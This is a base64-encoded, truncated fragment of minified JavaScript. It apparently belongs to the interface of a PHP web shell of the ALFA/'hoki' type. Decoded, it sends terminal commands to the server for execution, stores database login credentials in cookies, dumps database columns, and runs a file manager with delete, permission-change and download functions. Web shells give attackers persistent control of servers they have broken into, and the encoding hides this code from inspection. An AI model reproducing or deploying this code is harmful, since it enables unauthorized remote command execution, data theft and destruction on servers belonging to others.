ZWRTdHlsZShhLG51bGwpLmdldFByb3BlcnR5VmFsdWUoImZvbnQtc2l6ZSIpKSxsPSIiOzE9PXQ/KGw9aSsxKyJweCIsYS5zdHlsZS5mb250U2l6ZT1sKToobD1pLTErInB4IixhLnN0eWxlLmZvbnRTaXplPWwpLHNldENvb2tpZSgiaG9raS10ZXJtaW5hbC1mb250c2l6ZSIsbCwyMDEyKX1mdW5jdGlvbiBob2tpV2Fsa0luVGVybWluYWxIaXN0b3J5KGUsdCxhKXt2YXIgaT10fHx3aW5kb3cuZXZlbnQ7aWYoIjM4Ij09aS5rZXlDb2RlfHwiNDAiPT1pLmtleUNvZGV8fCIzNyI9PWkua2V5Q29kZXx8IjM5Ij09aS5rZXlDb2RlKXN3aXRjaChpLmtleUNvZGUpe2Nhc2UgMzg6dmFyIGw9aG9raUdldFRlcm1pbmFsSGlzdG9yeSghMCkscj0iIjswPT10ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4PygwPT10ZXJtaW5hbF93YWxrX2luZGV4W2FdLmtleSYmKyt0ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4LHZvaWQgMCE9PShyPWxbdGVybWluYWxfd2Fsa19pbmRleFthXS5pbmRleF0pPyhlLnZhbHVlPXIsKyt0ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4KTooZS52YWx1ZT0iIix0ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4PTApKTp0ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4PGwubGVuZ3RoJiYoMD09dGVybWluYWxfd2Fsa19pbmRleFthXS5rZXkmJisrdGVybWluYWxfd2Fsa19pbmRleFthXS5pbmRleCxlLnZhbHVlPWxbdGVybWluYWxfd2Fsa19pbmRleFthXS5pbmRleF0sKyt0ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4KSx0ZXJtaW5hbF93YWxrX2luZGV4W2FdLmtleT0xO2JyZWFrO2Nhc2UgNDA6bD1ob2tpR2V0VGVybWluYWxIaXN0b3J5KCEwKTtpZih0ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4Pj0wKTAhPXRlcm1pbmFsX3dhbGtfaW5kZXhbYV0uaW5kZXgmJigtLXRlcm1pbmFsX3dhbGtfaW5kZXhbYV0uaW5kZXgsMT09dGVybWluYWxfd2Fsa19pbmRleFthXS5rZXkmJi0tdGVybWluYWxfd2Fsa19pbmRleFthXS5pbmRleCksdm9pZCAwIT09KHI9bFt0ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4XSk/ZS52YWx1ZT1yOihlLnZhbHVlPSIiLHRlcm1pbmFsX3dhbGtfaW5kZXhbYV0uaW5kZXg9MCk7dGVybWluYWxfd2Fsa19pbmRleFthXS5rZXk9MDticmVhaztkZWZhdWx0OmNvbnNvbGUubG9nKGkua2V5Q29kZSl9ZWxzZSB0ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4PTB9ZnVuY3Rpb24gY2xlYXJUZXJtaW5hbEhpc3RvcnkoKXtkLnF1ZXJ5U2VsZWN0b3JBbGwoIi5jb21tYW5kcy1oaXN0b3J5IikuZm9yRWFjaChmdW5jdGlvbihlKXtlLmlubmVySFRNTD0iIn0pLHNldENvb2tpZSgiaG9raS10ZXJtaW5hbC1oaXN0b3J5IiwiIiwyMDEyKX1mdW5jdGlvbiBob2tpQWNlVG9GdWxsc2NyZWVuKGUpe3ZhciB0PWUuZ2V0QXR0cmlidXRlKCJhY2VfaWQiKTtob2tpX2FjZV9lZGl0b3JzLmVkaXRvclt0XS5jb250YWluZXIucmVxdWVzdEZ1bGxzY3JlZW4oKX1mdW5jdGlvbiBjbG9zZUhpc3RvcnlDbWQoZSx0KXtpZigiZnJlZSI9PWUpe3ZhciBhPXQuZ2V0QXR0cmlidXRlKCJ0ZXJtX2lkIik7cmV0dXJuIGU9ZC5xdWVyeVNlbGVjdG9yKCIjIithKyIgLmNtZC1oaXN0b3J5LWljb24iKSxkLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAuY21kLWhpc3RvcnktaG9sZGVyIikuc3R5bGUudmlzaWJpbGl0eT0iaGlkZGVuIixkLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAuY21kLWhpc3RvcnktaG9sZGVyIikuc3R5bGUub3BhY2l0eT0iMCIsZS5zZXRBdHRyaWJ1dGUoIm1vZGUiLCJvZmYiKSwhMX12YXIgaT1lLmdldEF0dHJpYnV0ZSgibW9kZSIpLGw9KGE9ZS5nZXRBdHRyaWJ1dGUoInRlcm1faWQiKSxkLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAuY21kLWhpc3RvcnktaG9sZGVyIikpOzA9PWkubGVuZ3RofHwib2ZmIj09aT8obC5zdHlsZS52aXNpYmlsaXR5PSJ2aXNpYmxlIixsLnN0eWxlLm9wYWNpdHk9IjEiLGUuc2V0QXR0cmlidXRlKCJtb2RlIiwib24iKSk6KGwuc3R5bGUudmlzaWJpbGl0eT0iaGlkZGVuIixsLnN0eWxlLm9wYWNpdHk9IjAiLGUuc2V0QXR0cmlidXRlKCJtb2RlIiwib2ZmIikpfWZ1bmN0aW9uIGdlRXZhbEFjZVZhbHVlKGUpe3ZhciB0PWUucXVlcnlTZWxlY3RvcigiLnBocC1ldmFscy1hY2UiKS5nZXRBdHRyaWJ1dGUoImlkIik7cmV0dXJuIGhva2lfYWNlX2VkaXRvcnMuZXZhbFt0XS5nZXRWYWx1ZSgpfWZ1bmN0aW9uIGhva2lPcGVuQXJjaGl2ZShlKXt2YXIgdD1lLmdldEF0dHJpYnV0ZSgicGF0aCIpLGE9ZS5nZXRBdHRyaWJ1dGUoImZuYW1lIiksaT1lLmdldEF0dHJpYnV0ZSgiYmFzZV9pZCIpO2lmKCIuLiI9PWEmJiJwaGFyOi8vIiE9dC5zdWJzdHIoMCw3KSlyZXR1cm4hMTt2YXIgbD0iYT0iK2hva2liNjQoIm9wZW5fYXJjaGl2ZV9kaXIiKSsiJmM9Iitob2tpYjY0KGNfKSsiJmhva2kxPSIraG9raWI2NCh0KSsiJmhva2kyPSIraG9raWI2NChpKSsiJmFqYXg9Iitob2tpYjY0KCJ0cnVlIik7X0FqYXgoZC5VUkwsbCxmdW5jdGlvbihlKXtpZigiMCIhPWUpeyQoImFyY2hpdmVfYmFzZV8iK2kpLmlubmVySFRNTD1lO3ZhciBhPSQoImFyY2hpdmVfZGlyXyIraSkuZ2V0QXR0cmlidXRlKCJhcmNoaXZlX25hbWUiKSxsPSQoImFyY2hpdmVfZGlyXyIraSkuZ2V0QXR0cmlidXRlKCJhcmNoaXZlX2Z1bGwiKSxyPSIiLG89IiI7aWYoMCE9KHQ9dC5zcGxpdChhKVsxXSkubGVuZ3RoKXt2YXIgbj0odD10LnNwbGl0KCIvIikpLmxlbmd0aC0xO2Zvcih2YXIgcyBpbiAwPT10W25dLmxlbmd0aCYmdC5zcGxpY2UobiwxKSx0KTAhPXQubGVuZ3RoJiYobys9dFtzXSsiLyIscis9JzxhIGJhc2VfaWQ9IicraSsnIiBmbmFtZT0iJyt0W3NdKyciIHBhdGg9IicrbCtvKyciIG9uY2xpY2s9Imhva2lPcGVuQXJjaGl2ZSh0aGlzKTsiPicrdFtzXSsiLzwvYT4iKX1kLnF1ZXJ5U2VsZWN0b3IoIiNhcmNoaXZlX2Rpcl8iK2krIiAuYXJjaGl2ZV9wd2RfaG9sZGVyIikuaW5uZXJIVE1MPXJ9fSwhMSwib3Blbl9hcmNoaXZlX2RpciIpfWZ1bmN0aW9uIGhva2lEZWxldGVDb25uZWN0VG9EYihlKXtkLnF1ZXJ5U2VsZWN0b3JBbGwoIi5kYmhfIitlKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2UucmVtb3ZlKCl9KSxob2tpQ29ubmVjdGlvbkhpc3RvcnlVcGRhdGUoZSl9ZnVuY3Rpb24gaG9raUNvbm5lY3RUb0RiKGUsdCl7dmFyIGE9e307dHJ5e2E9SlNPTi5wYXJzZShhdG9iKGdldENvb2tpZSgiaG9raV9jb25uZWN0aW9uX2hpc3QiKSkpfWNhdGNoKGUpe312YXIgaT1kLnF1ZXJ5U2VsZWN0b3IoIiMiK3QrIiBkaXYuc2YiKTtpLnF1ZXJ5U2VsZWN0b3IoImlucHV0W25hbWU9c3FsX2hvc3RdIikudmFsdWU9YVtlXS5ob3N0LGkucXVlcnlTZWxlY3RvcigiaW5wdXRbbmFtZT1zcWxfbG9naW5dIikudmFsdWU9YVtlXS51c2VyLGkucXVlcnlTZWxlY3RvcigiaW5wdXRbbmFtZT1zcWxfcGFzc10iKS52YWx1ZT1hW2VdLnBhc3MsKGkucXVlcnlTZWxlY3RvcigiaW5wdXRbbmFtZT1zcWxfYmFzZV0iKT9pLnF1ZXJ5U2VsZWN0b3IoImlucHV0W25hbWU9c3FsX2Jhc2VdIik6aS5xdWVyeVNlbGVjdG9yKCJzZWxlY3RbbmFtZT1zcWxfYmFzZV0iKSkudmFsdWU9YVtlXS5kYixpLnF1ZXJ5U2VsZWN0b3IoImlucHV0W25hbWU9c3FsX2NvdW50XSIpLmNoZWNrZWQ9ITAsZC5xdWVyeVNlbGVjdG9yKCIjIit0KyIgZGl2LnNmIC5kYi1jb25uZWN0LWJ0biIpLmNsaWNrKCl9ZnVuY3Rpb24gaG9raVNob3dDb25uZWN0aW9uSGlzdG9yeShlKXt2YXIgdD17fSxhPWUuZ2V0QXR0cmlidXRlKCJkYl9pZCIpLGk9ZS5nZXRBdHRyaWJ1dGUoIm1vZGUiKTtpZihyb3dzPSc8dGFibGUgY2xhc3M9ImNvbm5lY3Rpb24taGlzdC10YWJsZSI+PHRyPjx0aD4qPC90aD48dGg+SG9zdDwvdGg+PHRoPlVzZXI8L3RoPjx0aD5QYXNzPC90aD48dGg+RGF0YWJhc2U8L3RoPjx0aD5Db25uZWN0PC90aD48dGg+RGVsZXRlPC90aD48L3RyPicsIm9uIj09aSl7ZS5zZXRBdHRyaWJ1dGUoIm1vZGUiLCJvZmYiKTt0cnl7dD1KU09OLnBhcnNlKGF0b2IoZ2V0Q29va2llKCJob2tpX2Nvbm5lY3Rpb25faGlzdCIpKSl9Y2F0Y2goZSl7fXZhciBsLHI9MTtmb3IobCBpbiB0KXt2YXIgbz10W2xdLnVzZXIrIl8iK3RbbF0uZGI7cm93cys9Jzx0ciBjbGFzcz0iZGJoXycrbysnIj48dGg+JytyKyI8L3RoPjx0aD4iK3RbbF0uaG9zdCsiPC90aD48dGg+Iit0W2xdLnVzZXIrIjwvdGg+PHRoPiIrdFtsXS5wYXNzKyI8L3RoPjx0aD4iK3RbbF0uZGIrJzwvdGg+PHRoPjxidXR0b24gc3R5bGU9Im1hcmdpbjogdW5zZXQ7IiBjbGFzcz0iY29ubmVjdGlvbi1oaXMtYnRuIiBvbmNsaWNrPVwnaG9raUNvbm5lY3RUb0RiKCInK28rJyIsIicrYSsnIik7XCc+Q29ubmVjdDwvYnV0dG9uPjwvdGg+PHRoIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7Ij48YnV0dG9uIHN0eWxlPSJtYXJnaW46IHVuc2V0OyIgY2xhc3M9ImNvbm5lY3Rpb24taGlzLWJ0biBjb25uZWN0aW9uLWRlbGV0ZSIgb25jbGljaz1cJ2hva2lEZWxldGVDb25uZWN0VG9EYigiJytvKyJcIik7Jz5YPC9idXR0b24+PC90aD48L3RyPiIscisrfXJvd3MrPSI8L3RhYmxlIn1lbHNlIGUuc2V0QXR0cmlidXRlKCJtb2RlIiwib24iKSxyb3dzPSIiO2QucXVlcnlTZWxlY3RvcigiIyIrYSsiIC5jb25uZWN0aW9uX2hpc3RvcnlfaG9sZGVyIikuaW5uZXJIVE1MPXJvd3N9ZnVuY3Rpb24gaG9raUNvbm5lY3Rpb25IaXN0b3J5VXBkYXRlKGUpe3ZhciB0LGE9e307dHJ5e2E9SlNPTi5wYXJzZShhdG9iKGdldENvb2tpZSgiaG9raV9jb25uZWN0aW9uX2hpc3QiKSkpfWNhdGNoKGUpe31mb3IodCBpbiBteXNxbF9jYWNoZSkwIT1teXNxbF9jYWNoZVt0XS5kYi5sZW5ndGgmJihhW215c3FsX2NhY2hlW3RdLnVzZXIrIl8iK215c3FsX2NhY2hlW3RdLmRiXT1teXNxbF9jYWNoZVt0XSk7dm9pZCAwIT09ZSYmZGVsZXRlIGFbZV0sc2V0Q29va2llKCJob2tpX2Nvbm5lY3Rpb25faGlzdCIsYnRvYShKU09OLnN0cmluZ2lmeShhKSksMjAxMil9ZnVuY3Rpb24gaG9raUV4ZWNUZXJtaW5hbChlLHQpe3ZhciBhPSIiO2lmKDA9PShhPXZvaWQgMCE9PXQ/ImNkICIrY186ZS5jLnZhbHVlKS5sZW5ndGgpcmV0dXJuITE7ImwiPT1hP2E9ImxzIC10cmggLS1jb2xvciI6ImxsIj09YSYmKGE9ImxzIC1sdHJoIC0tY29sb3IiKTt2YXIgaT1lLmdldEF0dHJpYnV0ZSgidGVybV9pZCIpO2hva2lsb2FkZXIoaSwiYmxvY2siKSxjbG9zZUhpc3RvcnlDbWQoImZyZWUiLGUpO3ZhciBsPSIiOyJGT1JNIj09ZS50YWdOYW1lJiYobD1lLnF1ZXJ5U2VsZWN0b3IoIi5waHAtdGVybWluYWwtY3VycmVudC1kaXIiKS5pbm5lckhUTUwpLDA9PShsPWwudHJpbSgpKS5sZW5ndGgmJihsPWNfKTt2YXIgcj0iYT0iK2hva2liNjQoInRlcm1pbmFsRXhlYyIpKyImYz0iK2hva2liNjQobCkrIiZob2tpMT0iK2hva2liNjQoYSkrIiZhamF4PSIraG9raWI2NCgidHJ1ZSIpO2lmKF9BamF4KGQuVVJMLHIsZnVuY3Rpb24oZSx0KXtob2tpbG9hZGVyKHQsIm5vbmUiKTt0cnl7dmFyIGE9JCgidGFiXyIraSk7bnVsbCE9YSYmKCgtMT09YS5jbGFzc0xpc3QudmFsdWUuaW5kZXhPZigiYWN0aXZlLXRlcm1pbmFsLXRhYiIpfHxjZ2lfaXNfbWluaW1pemVkKSYmKGEuY2xhc3NMaXN0LmFkZCgidGFiLWlzLWRvbmUiKSxob2tpU2hvd05vdGlmaWNhdGlvbigicHJvY2Nlc3MgaXMgZG9uZS4uLiIsYS5pbm5lclRleHQpKSxjZ2lfaXNfbWluaW1pemVkJiZob2tpVXBkYXRlT3B0aW9uc0JhZGdlKCJjZ2lsb2FkZXIiKSl9Y2F0Y2goZSl7fWU9SlNPTi5wYXJzZShlKSxkLnF1ZXJ5U2VsZWN0b3IoIiMiK3QrIiAucGhwLXRlcm1pbmFsLW91dHB1dCA+IHByZSIpLmlubmVySFRNTD1lLm91dHB1dCwwIT1lLnBhdGgubGVuZ3RoJiYoZC5xdWVyeVNlbGVjdG9yKCIjIit0KyIgLnBocC10ZXJtaW5hbC1jdXJyZW50LWRpciIpLmlubmVySFRNTD1lLnBhdGgpfSwhMSxpKSx2b2lkIDA9PT10KXtkLnF1ZXJ5U2VsZWN0b3IoIiMiK2krIiAuY21kLWhpc3RvcnktaG9sZGVyIC5jb21tYW5kcy1oaXN0b3J5IikuaW5zZXJ0QWRqYWNlbnRIVE1MKCJhZnRlcmJlZ2luIiwiPGRpdiBvbmNsaWNrPVwiZC5xdWVyeVNlbGVjdG9yKCcjIitpKycgLnBocC10ZXJtaW5hbC1pbnB1dFwnKS52YWx1ZSA9IHRoaXMuaW5uZXJIVE1MOyIgY2xhc3M9Imhpc3RvcnktY21kLWxpbmUiPicrYSsiPC9kaXY+Iik7dmFyIG89aG9raUdldFRlcm1pbmFsSGlzdG9yeSgpLG49by5pbmRleE9mKGEpOy0xIT1uJiZvLnNwbGljZShuLDEpLG8ucHVzaChhKSxzZXRDb29raWUoImhva2ktdGVybWluYWwtaGlzdG9yeSIsYnRvYShKU09OLnN0cmluZ2lmeShvKSksMjAxMil9ZC5xdWVyeVNlbGVjdG9yKCIjIitpKyIgaW5wdXQucGhwLXRlcm1pbmFsLWlucHV0IikuZm9jdXMoKX1mdW5jdGlvbiBwYWdlQ2hhbmdlZEZpbGVzTWFuKGUpe3ZhciB0PSJmaWxlc21hbl9ob2xkZXJfIitob2tpX2N1cnJlbnRfZm1faWQsYT1nZXRDb29raWUodCsiX3BhZ2VfbnVtYmVyIiksaT1lLmlubmVyVGV4dDtpZigiPDwiPT1pKXthPWQucXVlcnlTZWxlY3RvcigiIyIrdCsiIC5hY3RpdmUtcGFnZS1udW1iZXIiKS5pbm5lclRleHQ7aWYoISgoYT1wYXJzZUludChhKSk+MSkpcmV0dXJuITE7aT1hLTF9aWYoIj4+Ij09aSl7YT1kLnF1ZXJ5U2VsZWN0b3IoIiMiK3QrIiAuYWN0aXZlLXBhZ2UtbnVtYmVyIikuaW5uZXJUZXh0O2E9cGFyc2VJbnQoYSk7dmFyIGw9ZC5xdWVyeVNlbGVjdG9yKCIjIit0KyIgLmxhc3QtcGFnZS1udW1iZXIiKS5pbm5lckhUTUw7aWYoIShhKzE8PShsPXBhcnNlSW50KGwpKSkpcmV0dXJuITE7aT1hKzF9c2V0Q29va2llKHQrIl9wYWdlX251bWJlciIsaSwyMDEyKSxnKCJGaWxlc01hbiIsY18pfWZ1bmN0aW9uIGhva2lDb2xEdW1wZXJJbml0KCl7dmFyIGU9ZC5xdWVyeVNlbGVjdG9yKCIudGFiX25hbWUudGFiX2lzX2FjdGl2ZSIpLmdldEF0dHJpYnV0ZSgib3B0X2lkIiksdD1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2UpLGE9dC5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKCJib3giKTtmb3IoaT0wO2k8YS5sZW5ndGg7aSsrKWFbaV0uYWRkRXZlbnRMaXN0ZW5lcigiY2xpY2siLGZ1bmN0aW9uKCl7bnVsbCE9dGhpcy5wYXJlbnRFbGVtZW50LnF1ZXJ5U2VsZWN0b3IoIi5uZXN0ZWQiKSYmKHRoaXMucGFyZW50RWxlbWVudC5xdWVyeVNlbGVjdG9yKCIubmVzdGVkIikuY2xhc3NMaXN0LnRvZ2dsZSgiYWN0aXZlIiksdGhpcy5jbGFzc0xpc3QudG9nZ2xlKCJjaGVjay1ib3giKSl9KTt2YXIgaTthPXQuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgic3ViLWJveCIpO2ZvcihpPTA7aTxhLmxlbmd0aDtpKyspYVtpXS5zZXRBdHRyaWJ1dGUoIm9wdF9pZCIsZSksYVtpXS5hZGRFdmVudExpc3RlbmVyKCJjbGljayIsZnVuY3Rpb24oKXt0aGlzLmNsYXNzTGlzdC50b2dnbGUoImNoZWNrLWJveCIpO3ZhciBlPXRoaXMuZ2V0QXR0cmlidXRlKCJ0YmwiKSx0PXRoaXMuZ2V0QXR0cmlidXRlKCJvcHRfaWQiKTt0PXQucmVwbGFjZSgib3B0aW9uXyIsIiIpLGNvbF9kdW1wZXJfc2VsZWN0ZWRfZGF0YS5oYXNPd25Qcm9wZXJ0eSh0KXx8KGNvbF9kdW1wZXJfc2VsZWN0ZWRfZGF0YVt0XT17fSksdm9pZCAwPT09Y29sX2R1bXBlcl9zZWxlY3RlZF9kYXRhW3RdW2VdJiYoY29sX2R1bXBlcl9zZWxlY3RlZF9kYXRhW3RdW2VdPVtdKTt2YXIgYT10aGlzLmlubmVySFRNTCxpPWNvbF9kdW1wZXJfc2VsZWN0ZWRfZGF0YVt0XVtlXS5pbmRleE9mKGEpOy0xPT1pP2NvbF9kdW1wZXJfc2VsZWN0ZWRfZGF0YVt0XVtlXS5wdXNoKGEpOmNvbF9kdW1wZXJfc2VsZWN0ZWRfZGF0YVt0XVtlXS5zcGxpY2UoaSwxKX0pfWZ1bmN0aW9uIHNob3dTeW1saW5rUGF0aChlLHQpe3Quc3RvcFByb3BhZ2F0aW9uKCk7dmFyIGE9ZS5nZXRBdHRyaWJ1dGUoInJvdyIpLGk9JCgidGRfcm93XyIrYSksbD1lLmdldEF0dHJpYnV0ZSgib3B0X3RpdGxlIikscj1lLmdldEF0dHJpYnV0ZSgiZm5hbWUiKTtpZihsPWRlY29kZVVSSUNvbXBvbmVudChyKSsiIC0+ICIrbCxudWxsIT1pKXtpLmluc2VydEFkamFjZW50SFRNTCgiYWZ0ZXJiZWdpbiIsJzxkaXYgY2xhc3M9InN5bWxpbmtfcGF0aCIgaWQ9ImxpbmtfaWRfJythKyciPicrbCsiPC9kaXY+Iik7dmFyIG89dC5jbGllbnRYLG49dC5jbGllbnRZLTMwOyQoImxpbmtfaWRfIithKS5zdHlsZS5sZWZ0PW8rInB4IiwkKCJsaW5rX2lkXyIrYSkuc3R5bGUudG9wPW4rInB4In19ZnVuY3Rpb24gaGlkZVN5bWxpbmtQYXRoKGUsdCl7dC5zdG9wUHJvcGFnYXRpb24oKSwkKCJsaW5rX2lkXyIrZS5nZXRBdHRyaWJ1dGUoInJvdyIpKS5yZW1vdmUoKX1mdW5jdGlvbiBob2tpZ2V0RmxhZ3MoKXtkYXRhPSJhPSIraG9raWI2NCgiZ2V0X2ZsYWdzIikrIiZjPSIraG9raWI2NChjXykrIiZhamF4PSIraG9raWI2NCgidHJ1ZSIpLF9BamF4KGQuVVJMLGRhdGEsZnVuY3Rpb24oZSl7dmFyIHQ9SlNPTi5wYXJzZShlKTt0Lmhhc093blByb3BlcnR5KCJzZXJ2ZXIiKSYmKGQucXVlcnlTZWxlY3RvckFsbCgiLmZsYWctaG9sZGVyIilbMF0uaW5uZXJIVE1MPSc8aW1nIGRyYWdnYWJsZT0iZmFsc2UiIHRpdGxlPSInK3Quc2VydmVyLm5hbWUrJyIgc3JjPSJodHRwOi8vc29sZXZpc2libGUuY29tL2ltYWdlcy9mbGFncy80OC8nK3Quc2VydmVyLmNvZGUudG9Mb3dlckNhc2UoKSsnLnBuZyI+JyxkLnF1ZXJ5U2VsZWN0b3JBbGwoIi5mbGFnLWhvbGRlciIpWzBdLnN0eWxlLmRpc3BsYXk9ImlubGluZSIpLHQuaGFzT3duUHJvcGVydHkoImNsaWVudCIpJiYoZC5xdWVyeVNlbGVjdG9yQWxsKCIuZmxhZy1ob2xkZXIiKVsxXS5pbm5lckhUTUw9JzxpbWcgZHJhZ2dhYmxlPSJmYWxzZSIgdGl0bGU9IicrdC5jbGllbnQubmFtZSsnIiBzcmM9Imh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaW1hZ2VzL2ZsYWdzLzQ4LycrdC5jbGllbnQuY29kZS50b0xvd2VyQ2FzZSgpKycucG5nIj4nLGQucXVlcnlTZWxlY3RvckFsbCgiLmZsYWctaG9sZGVyIilbMV0uc3R5bGUuZGlzcGxheT0iaW5saW5lIil9KX1mdW5jdGlvbiBjb2xEdW1wbGVyU2VsZWN0VHlwZShlKXt2YXIgdD1lLm9wdGlvbnNbZS5zZWxlY3RlZEluZGV4XS52YWx1ZTskKCJjb2xkdW1wZXItZGVsaW1pdGVyLWlucHV0Iikuc3R5bGUuZGlzcGxheT0iZGVsaW1pdGVyIj09dD8iaW5saW5lLWJsb2NrIjoibm9uZSJ9ZnVuY3Rpb24gaG9raUNoZWNrVXJsSGFzaCgpe3ZhciBlPXdpbmRvdy5sb2NhdGlvbi5oYXNoLnN1YnN0cigxKSx0PWUuc3BsaXQoIiYiKS5yZWR1Y2UoZnVuY3Rpb24oZSx0KXt2YXIgYT10LnNwbGl0KCI9Iik7cmV0dXJuIGVbYVswXV09YVsxXSxlfSx7fSk7aWYoIiIhPWUpc3dpdGNoKHQuYWN0aW9uKXtjYXNlImZpbGVtYW4iOmNhc2Uib3B0aW9ucyI6dC5wYXRoPWRlY29kZVVSSUNvbXBvbmVudCh0LnBhdGgpLGcoIkZpbGVzTWFuIix0LnBhdGgsZnVuY3Rpb24oZSl7aWYodC5oYXNPd25Qcm9wZXJ0eSgiZmlsZSIpKXt2YXIgYT0iYXV0byI7aXNBcmNoaXZlKHQuZmlsZSkmJihhPSJ2aWV3IiksZWRpdG9yKHQucGF0aCsiLyIrdC5maWxlLGEsIiIsIiIsIiIsImZpbGUiKX19KSwib3B0aW9ucyI9PXQuYWN0aW9uJiZ0Lmhhc093blByb3BlcnR5KCJvcHQiKSYmKGhva2lfY2FuX2FkZF9vcHQ9ITAsZyh0Lm9wdCxudWxsLCIiLCIiLCIiKSxkLnF1ZXJ5U2VsZWN0b3IoIi5vcHQtdGl0bGUiKS5pbm5lckhUTUw9JCgibWVudV9vcHRfIit0Lm9wdCkuaW5uZXJIVE1MKSx0Lmhhc093blByb3BlcnR5KCJmaWxlIil8fGVkaXRvckNsb3NlKCJlZGl0b3IiKSx0Lmhhc093blByb3BlcnR5KCJvcHQiKXx8ZWRpdG9yQ2xvc2UoIm9wdGlvbnNfd2luZG93IiksZWRpdG9yQ2xvc2UoImNnaWxvYWRlciIpO2JyZWFrO2RlZmF1bHQ6ZygiRmlsZXNNYW4iLCI8P3BocCBlY2hvICRHTE9CQUxTWyJjd2QiXTsgPz4iKSxlZGl0b3JDbG9zZSgiZWRpdG9yIiksZWRpdG9yQ2xvc2UoIm9wdGlvbnNfd2luZG93IiksZWRpdG9yQ2xvc2UoImNnaWxvYWRlciIpfWVsc2UgZygiRmlsZXNNYW4iLCI8P3BocCBlY2hvICRHTE9CQUxTWyJjd2QiXTsgPz4iKSxlZGl0b3JDbG9zZSgiZWRpdG9yIiksZWRpdG9yQ2xvc2UoIm9wdGlvbnNfd2luZG93IiksZWRpdG9yQ2xvc2UoImNnaWxvYWRlciIpfWZ1bmN0aW9uIGhva2lGbW5nckNvbnRleHRSb3coKXtkLnF1ZXJ5U2VsZWN0b3JBbGwoIi5mbWFuYWdlci1yb3cgYS5tYWluX25hbWUiKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2UuYWRkRXZlbnRMaXN0ZW5lcigiY29udGV4dG1lbnUiLGZ1bmN0aW9uKGUpe3ZhciB0PWUudGFyZ2V0LGE9IiI7aWYoIi4uIj09KGE9IkEiPT1lLnRhcmdldC5wYXJlbnRFbGVtZW50LnRhZ05hbWU/KHQ9ZS50YXJnZXQucGFyZW50RWxlbWVudCkuZ2V0QXR0cmlidXRlKCJmbmFtZSIpOnQuZ2V0QXR0cmlidXRlKCJmbmFtZSIpKSlyZXR1cm4hMTt2YXIgaT10LmdldEF0dHJpYnV0ZSgiaWQiKSxsPXQuZ2V0QXR0cmlidXRlKCJwYXRoIikscj10LmdldEF0dHJpYnV0ZSgiZnR5cGUiKSxvPVsibmV3dGFiIiwibGluayIsImRvd25sb2FkIiwidmlldyIsImVkaXQiLCJtb3ZlIiwiY29weSIsInJlbmFtZSIsIm1vZGlmeSIsInBlcm1pc3Npb24iLCJjb21wcmVzcyIsImV4dHJhY3QiLCJkZWxldGUiXTtmb3IodmFyIG4gaW4iZmlsZSIhPXJ8fGlzQXJjaGl2ZShhKT9vWzNdPSJ2aWV3X2FyY2hpdmUiOm8uc3BsaWNlKDExLDEpLCJmb2xkZXIiPT1yJiYobz1bIm5ld3RhYiIsImxpbmsiLCJtb3ZlIiwiY29weSIsInJlbmFtZSIsIm1vZGlmeSIsInBlcm1pc3Npb24iLCJjb21wcmVzcyIsImRlbGV0ZSJdKSxob2tpU29ydE1lbnVJdGVtcyhvKSxvKXt2YXIgcz1kLnF1ZXJ5U2VsZWN0b3IoIiNyaWdodGNsaWNrX21lbnUgPiBhW25hbWU9IitvW25dKyJdIik7c3dpdGNoKHMuc2V0QXR0cmlidXRlKCJmaWQiLGkpLHMuc2V0QXR0cmlidXRlKCJmbmFtZSIsZGVjb2RlVVJJQ29tcG9uZW50KGEpKSxzLnNldEF0dHJpYnV0ZSgicGF0aCIsbCkscy5zZXRBdHRyaWJ1dGUoImZ0eXBlIixyKSxvW25dKXtjYXNlInZpZXciOmNhc2UiZWRpdCI6dmFyIGM9ImF1dG8iOyJlZGl0Ij09b1tuXSYmKGM9ImVkaXQiKSxzLnNldEF0dHJpYnV0ZSgiaHJlZiIsIiNhY3Rpb249ZmlsZW1hbiZwYXRoPSIrY18rIi8mZmlsZT0iK2EpLHMuc2V0QXR0cmlidXRlKCJvbmNsaWNrIiwiZWRpdG9yKCciK2ErIicsJyIrYysiJywnJywnJywnJywnZmlsZScpIik7YnJlYWs7Y2FzZSJuZXd0YWIiOnZhciB1PWE7ImZpbGUiPT1yPyh1PSImZmlsZT0iK2Escy5zZXRBdHRyaWJ1dGUoImhyZWYiLCIjYWN0aW9uPWZpbGVtYW4mcGF0aD0iK2NfKyIvIit1KSxzLnNldEF0dHJpYnV0ZSgidGFyZ2V0IiwiX2JsYW5rIikscy5vbmNsaWNrPWZ1bmN0aW9uKCl7fSk6KHMuc2V0QXR0cmlidXRlKCJocmVmIiwiamF2YXNjcmlwdDp2b2lkKDApIikscy5yZW1vdmVBdHRyaWJ1dGUoInRhcmdldCIpLHMub25jbGljaz1mdW5jdGlvbigpe2hva2lGaWxlc01hbk5ld1RhYihjXyx1KX0pO2JyZWFrO2Nhc2UiZGVsZXRlIjpzLnNldEF0dHJpYnV0ZSgib25jbGljayIsInZhciBjaGsgPSBjb25maXJtKCdBcmUgWW91IFN1cmUgRm9yIERlbGV0ZSAjICIrYSsiICMgPycpOyBjaGsgPyBnKCdGaWxlc01hbicsbnVsbCwnZGVsZXRlJywgJyIrYSsiJykgOiAnJzsiKTticmVhaztjYXNlImRvd25sb2FkIjpzLnNldEF0dHJpYnV0ZSgib25jbGljayIsImcoJ0ZpbGVzVG9vbHMnLG51bGwsJyIrYSsiJywgJ2Rvd25sb2FkJykiKTticmVhaztjYXNlInBlcm1pc3Npb24iOnRyeXt2YXIgcD1kLnF1ZXJ5U2VsZWN0b3IoIiNpZF9jaG1vZGVfIitpLnJlcGxhY2UoImlkXyIsIiIpKyIgc3BhbiIpL